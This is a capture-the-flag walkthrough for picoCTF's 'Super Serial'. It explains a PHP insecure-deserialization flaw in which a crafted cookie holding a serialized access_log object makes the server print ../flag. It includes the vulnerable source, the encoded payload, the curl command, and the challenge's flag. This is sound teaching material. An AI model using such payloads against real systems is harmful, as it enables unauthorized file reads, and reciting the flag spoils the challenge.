Super Serial

Problem

Try to recover the flag stored on this website http://mercury.picoctf.net:3449/

Solution

  1. Going to robots.txt shows that admin.phps is disallowed. This indicates that the phps extension is enabled within the php configuration for this webserver. Files with the phps extension contain php code but instead of running when they are accessed, they return an HTML representation of the literal pho code.

  2. We can access index.phps to find the following:

    <?php
    require_once("cookie.php");
    
    if(isset($_POST["user"]) && isset($_POST["pass"])){
        $con = new SQLite3("../users.db");
        $username = $_POST["user"];
        $password = $_POST["pass"];
        $perm_res = new permissions($username, $password);
        if ($perm_res->is_guest() || $perm_res->is_admin()) {
            setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
            header("Location: authentication.php");
            die();
        } else {
            $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
        }
    }
    ?>
  3. The above php code points us in the direction of authentication.php. Looking at authentication.phps shows the following:

    <?php
    
    class access_log
    {
        public $log_file;
    
        function __construct($lf) {
            $this->log_file = $lf;
        }
    
        function __toString() {
            return $this->read_log();
        }
    
        function append_to_log($data) {
            file_put_contents($this->log_file, $data, FILE_APPEND);
        }
    
        function read_log() {
            return file_get_contents($this->log_file);
        }
    }
    
    require_once("cookie.php");
    if(isset($perm) && $perm->is_admin()){
        $msg = "Welcome admin";
        $log = new access_log("access.log");
        $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
    } else {
        $msg = "Welcome guest";
    }
    ?>
  4. The above php code points us in the direction of cookie.php. Looking at cookie.phps shows the following:

    <?php
    session_start();
    
    class permissions
    {
        public $username;
        public $password;
    
        function __construct($u, $p) {
            $this->username = $u;
            $this->password = $p;
        }
    
        function __toString() {
            return $u.$p;
        }
    
        function is_guest() {
            $guest = false;
    
            $con = new SQLite3("../users.db");
            $username = $this->username;
            $password = $this->password;
            $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
            $stm->bindValue(1, $username, SQLITE3_TEXT);
            $stm->bindValue(2, $password, SQLITE3_TEXT);
            $res = $stm->execute();
            $rest = $res->fetchArray();
            if($rest["username"]) {
                if ($rest["admin"] != 1) {
                    $guest = true;
                }
            }
            return $guest;
        }
    
            function is_admin() {
                    $admin = false;
    
                    $con = new SQLite3("../users.db");
                    $username = $this->username;
                    $password = $this->password;
                    $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                    $stm->bindValue(1, $username, SQLITE3_TEXT);
                    $stm->bindValue(2, $password, SQLITE3_TEXT);
                    $res = $stm->execute();
                    $rest = $res->fetchArray();
                    if($rest["username"]) {
                            if ($rest["admin"] == 1) {
                                    $admin = true;
                            }
                    }
                    return $admin;
            }
    }
    
    if(isset($_COOKIE["login"])){
        try{
            $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
            $g = $perm->is_guest();
            $a = $perm->is_admin();
        }
        catch(Error $e){
            die("Deserialization error. ".$perm);
        }
    }
    
    ?>
  5. PortSwigger has a great article that goes into detail about deserialization vulnerabilities. This Medium article gives a more step-by-step beginner guide.

  6. The exploit is in this code block:

    class access_log
    {
        public $log_file;
    
        function __construct($lf) {
            $this->log_file = $lf;
        }
    
        function __toString() {
            return $this->read_log();
        }
    
        function append_to_log($data) {
            file_put_contents($this->log_file, $data, FILE_APPEND);
        }
    
        function read_log() {
            return file_get_contents($this->log_file);
        }
    }
    
    if(isset($_COOKIE["login"])){
        try{
            $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
            $g = $perm->is_guest();
            $a = $perm->is_admin();
        }
        catch(Error $e){
            die("Deserialization error. ".$perm);
        }
    }

    We can store any object in the login cookie and it will be unserialized. One option is to exploit the __construct function, since this is ran immediately when the object is created. However, in both the access_log and permissions classes, there does not appear to be a valid gadget chain (see "Gadget chains" in the PortSwigger article).

  7. We can store a serialized access_log object in the login cookie with the log_file set to ../flag. This object will be instantiated in the first line of the try block. However, the access_log class does not have an is_guest function so when the code try to run that function on the next line it will fail, thus jumping to the catch block. This catch block prints the value of $perm, which is our injected access_log object. By printing $perm, the __toString method of our access_log object is called, which displays the content of whatever filename (the value of access_log) was passed to it.

  8. The php serialized access_log object looks like this: O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}. Fore more details about this syntax, see the aforementioned Medium article.

  9. Let's encode that to base64 and url encode it using CyberChef to get: TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

  10. We can use cURL to access the authentication.php file with the correct cookie set: curl mercury.picoctf.net:3449/authentication.php --cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9". This will print the error text and the flag: Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}

Flag

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}

Last updated